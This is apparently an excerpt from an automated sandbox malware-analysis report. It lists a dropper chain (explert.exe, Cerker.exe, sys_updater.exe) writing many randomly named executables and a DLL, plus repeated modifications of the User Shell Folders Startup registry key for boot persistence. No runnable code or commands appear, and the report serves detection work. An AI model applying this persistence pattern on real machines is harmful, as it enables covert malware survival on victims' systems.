Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Code function: 10_2_017B1E8B push 8BD08B01h; retf	10_2_017B1E92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06F5B45A push es; ret	12_2_06F5B4C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06F5B420 push es; ret	12_2_06F5B4C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_06F5B520 push es; ret	12_2_06F5B4C4

Source: HM3SOlbpH71yEXUIEAOeIiGX.exe.4.dr

Static PE information: section name: .text entropy: 6.934918450957892

Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	File created: C:\Users\user\AppData\Roaming\S11E1iMt\caXZVqEB\FssOp8yZ\sys_updater.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\YAPNXRPmcarcR4ZDgC81Tbdk.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\2TUSzbAUfKRfcjcMzfoV1qdi.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\SmLAztxc1o8yfogkJXrRjbDt.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\ix4A2DreBBsQwY6YHkidcDjo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	File created: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	File created: C:\Users\user\AppData\Roaming\7XRpz47Z\MWQSQZoG\LJi5CxaZ\sys_updater.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	File created: C:\Users\user\AppData\Roaming\Cth3XJqK\Us7ocUFg\nChXmDXJ\sys_updater.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\V6uPDVniSnRMWuLn5U9T3TGJ.exe	Jump to dropped file
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	File created: C:\Users\user\AppData\Roaming\d3d9.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	File created: C:\Users\user\AppData\Roaming\SgJvWIOT\k0mHyoU4\FomDFzEQ\sys_updater.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\gtxkvh.exe	File created: C:\Users\user\AppData\Roaming\3TywDL8i\9iCHA8GK\9QRXpsuI\sys_updater.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\6KZmcK8r6beUzmRf6Ci6nx8d.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\oZolmRBaYFkuutSgcOrBLSAQ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\6pkNzPZrIkyPzGNsokLQ8aZR.exe	Jump to dropped file
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	File created: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\ixjnzi95HfqR77bieLYCT4aJ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\yDd3OJXsNQptgFrYILoygXLs.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\gtxkvh.exe	File created: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\3HvoFOAmEaJswFCHOzyfyz5b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\hQdOgl4rhYQYx3G5aYY61LEd.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\xpTljBOh8s4KWiGtXsL1c00g.exe	Jump to dropped file
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	File created: C:\Users\user\AppData\Local\Temp\gtxkvh.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	File created: C:\Users\user\AppData\Roaming\EOcU1eIO\NvT1HrT7\PNkb0PCV\sys_updater.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\yt3cew8k69RKLpgTFur2iz2M.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\b1s7nlT2NqFJ3sl3xbYiMCIq.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	File created: C:\Users\user\AppData\Roaming\zRu1BqA0\k45TZ53Y\Caz9ZOq9\sys_updater.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	File created: C:\Users\user\AppData\Roaming\Soso0bnK\laHUjL9Z\wIjJoUTg\sys_updater.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	File created: C:\Users\user\AppData\Roaming\4pgKLvyS\3OrNf9Ry\jVB94owI\sys_updater.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\6pkNzPZrIkyPzGNsokLQ8aZR.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\YAPNXRPmcarcR4ZDgC81Tbdk.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\SmLAztxc1o8yfogkJXrRjbDt.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\2TUSzbAUfKRfcjcMzfoV1qdi.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\ix4A2DreBBsQwY6YHkidcDjo.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\ixjnzi95HfqR77bieLYCT4aJ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\yDd3OJXsNQptgFrYILoygXLs.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\3HvoFOAmEaJswFCHOzyfyz5b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\hQdOgl4rhYQYx3G5aYY61LEd.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\xpTljBOh8s4KWiGtXsL1c00g.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\yt3cew8k69RKLpgTFur2iz2M.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\V6uPDVniSnRMWuLn5U9T3TGJ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\b1s7nlT2NqFJ3sl3xbYiMCIq.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\6KZmcK8r6beUzmRf6Ci6nx8d.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\oZolmRBaYFkuutSgcOrBLSAQ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	File created: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe	Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
